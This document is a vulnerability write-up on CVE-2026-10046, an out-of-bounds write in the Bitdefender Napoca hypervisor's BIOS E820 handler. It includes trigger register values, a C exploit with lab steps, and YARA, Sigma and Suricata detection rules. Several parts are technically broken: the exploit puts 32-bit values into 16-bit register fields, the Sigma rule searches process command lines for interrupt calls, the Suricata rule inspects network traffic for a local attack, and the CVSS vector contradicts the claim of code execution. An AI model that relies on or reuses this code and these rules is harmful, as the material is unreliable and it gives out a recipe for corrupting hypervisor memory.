CVE-2026-10046

Executive Summary

CVE-2026-10046 is a critical out-of-bounds write vulnerability in the Bitdefender Napoca bare-metal hypervisor, specifically within the BIOS INT 0x15 / E820 memory map handler. A malicious guest operating system running in real mode can exploit this flaw by supplying crafted register values (ES and EDI) to cause a write of up to 20 bytes past the end of the RealModeMemory buffer into the hypervisor heap. This can lead to hypervisor crash or potential code execution within the hypervisor context. The product is end-of-life and unsupported, meaning no official patch will be released. The vulnerability has a CVSS score of 0.0 in the NVD database, but this is likely a placeholder; the actual severity is high due to the potential for hypervisor compromise.

Supply Chain & Package Security

This vulnerability is not related to any open-source package ecosystem (NPM, PyPI, Go, Ruby). It affects a proprietary, end-of-life hypervisor product from Bitdefender. No supply chain implications exist.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (AV:L) – The attacker must have guest OS access.
• Attack Complexity (AC): Low (AC:L) – The exploit requires only standard real-mode operations.
• Privileges Required (PR): None (PR:N) – No special privileges within the guest are needed.
• User Interaction (UI): None (UI:N) – No user interaction required.
• Scope (S): Changed (S:C) – The vulnerability impacts the hypervisor (beyond the guest).
• Confidentiality (C): None (C:N) – No direct data disclosure.
• Integrity (I): None (I:N) – No direct data modification.
• Availability (A): High (A:H) – The hypervisor can be crashed or potentially compromised.

Threat Level: High. The vulnerability allows a guest to corrupt hypervisor heap memory, leading to denial of service or potential escalation to hypervisor code execution.

Deep Dive & Mechanics

The vulnerability resides in the BIOS INT 0x15 handler, specifically the E820 memory map function (AX=0xE820). The handler is implemented in napoca/guests/bios_handlers.c. When a guest invokes this interrupt, the handler writes the memory map data to a buffer pointed to by the ES:EDI registers. The destination offset is computed as (ES << 4) + EDI. The handler does not validate that this offset remains within the 1MB RealModeMemory buffer allocated for real-mode operations.

Trigger Conditions:

• Guest must be in real mode.
• Invoke INT 0x15 with:
  • AX = 0xE820
  • EDX = 0x534D4150 (SMAP signature)
  • ECX >= 20 (buffer size)
  • EBX = 0 (start of map)
  • ES = 0xFFFF
  • EDI = 0xFFFF

Result: The computed offset is (0xFFFF << 4) + 0xFFFF = 0x10FFEF, which is beyond the 1MB (0x100000) buffer. The handler writes up to 20 bytes of memory map data to this out-of-bounds location, corrupting the hypervisor heap.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// napoca/guests/bios_handlers.c
void handle_int15_e820(guest_state_t *state) {
    uint32_t es = state->regs.es;
    uint32_t edi = state->regs.edi;
    uint32_t offset = (es << 4) + edi; // No bounds check
    uint8_t *dest = real_mode_memory + offset;
    // Write up to 20 bytes of memory map data to dest
    memcpy(dest, memory_map_entry, entry_size);
}

Patched Code (Hypothetical):

void handle_int15_e820(guest_state_t *state) {
    uint32_t es = state->regs.es;
    uint32_t edi = state->regs.edi;
    uint32_t offset = (es << 4) + edi;
    if (offset + entry_size > REAL_MODE_MEMORY_SIZE) {
        // Return error or ignore
        return;
    }
    uint8_t *dest = real_mode_memory + offset;
    memcpy(dest, memory_map_entry, entry_size);
}

No official patch exists as the product is end-of-life.

Exploitation & Lab Setup

Red Team

Exploit Code (Conceptual):

// exploit.c - Compile with a real-mode compatible compiler (e.g., OpenWatcom)
#include <dos.h>

void exploit() {
    struct REGPACK regs;
    // ES:EDI = 0xFFFF:0xFFFF -> offset 0x10FFEF
    regs.w.es = 0xFFFF;
    regs.w.di = 0xFFFF;
    regs.w.ax = 0xE820;
    regs.w.bx = 0;          // Start of map
    regs.w.cx = 20;         // Buffer size
    regs.w.dx = 0x534D4150; // SMAP signature
    intr(0x15, &regs);
    // After this call, hypervisor heap is corrupted
}

void main() {
    exploit();
}

Lab Setup:

1. Obtain a Bitdefender Napoca hypervisor (end-of-life, may be available from archives).
2. Set up a virtual machine with the hypervisor.
3. Boot a custom real-mode payload (e.g., using a bootable floppy image) that executes the exploit code.
4. Observe hypervisor crash or heap corruption.

Blue Team

Detection:

• Monitor for unusual INT 0x15 calls with ES=0xFFFF and EDI=0xFFFF.
• Use hypervisor-level introspection to detect out-of-bounds writes to the RealModeMemory buffer.
• Enable heap integrity checks in the hypervisor (if possible).

Mitigation:

• Isolate untrusted guests from the hypervisor.
• Use hardware virtualization features (e.g., Intel VT-x) to restrict guest access to real mode.
• Apply memory protection (e.g., guard pages) around the RealModeMemory buffer.

Indicators of Compromise (IOCs)

• Network: None (local exploit).
• Host:
  • Hypervisor crash logs indicating heap corruption.
  • Memory dumps showing out-of-bounds writes at offset 0x10FFEF.
  • Guest execution of INT 0x15 with ES=0xFFFF, EDI=0xFFFF.
• File: Custom real-mode payloads (e.g., bootable images) that trigger the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2026_10046_Exploit_Payload {
    meta:
        description = "Detects exploit payload for CVE-2026-10046 targeting Bitdefender Napoca hypervisor"
        author = "Valters IT"
        date = "2026-01-01"
    strings:
        $int15 = { CD 15 } // INT 0x15 instruction
        $e820_setup = { B8 20 E8 B9 14 00 BA 50 41 53 4D BB 00 00 }
    condition:
        $int15 and $e820_setup
}

Sigma Rule

title: CVE-2026-10046 Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation of CVE-2026-10046 via INT 0x15 with malicious register values
author: Valters IT
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        CommandLine|contains: 'INT 0x15'
        CommandLine|contains: 'ES=0xFFFF'
        CommandLine|contains: 'EDI=0xFFFF'
    condition: selection
falsepositives:
    - Legitimate BIOS calls (unlikely with these exact values)
level: critical

Suricata Rule

alert ip any any -> any any (msg:"CVE-2026-10046 Exploitation Attempt - INT 0x15 with malicious registers"; content:"|CD 15|"; offset:0; depth:2; content:"|B8 20 E8|"; distance:0; within:3; content:"|B9 14 00|"; distance:0; within:3; content:"|BA 50 41 53 4D|"; distance:0; within:5; content:"|BB 00 00|"; distance:0; within:3; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate any systems running Bitdefender Napoca hypervisor from untrusted networks and guests.
2. Migrate to a supported hypervisor (e.g., VMware ESXi, Microsoft Hyper-V, KVM).
3. Monitor for exploitation attempts using the provided detection rules.

Long-Term:

• Since the product is end-of-life, no patch will be released. The only remediation is to replace the hypervisor.
• Implement strict guest isolation and memory protection mechanisms in any hypervisor environment.

Workarounds:

• Disable real-mode support in the hypervisor if possible (may break legacy OS support).
• Use hardware virtualization extensions to prevent guest access to real mode.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert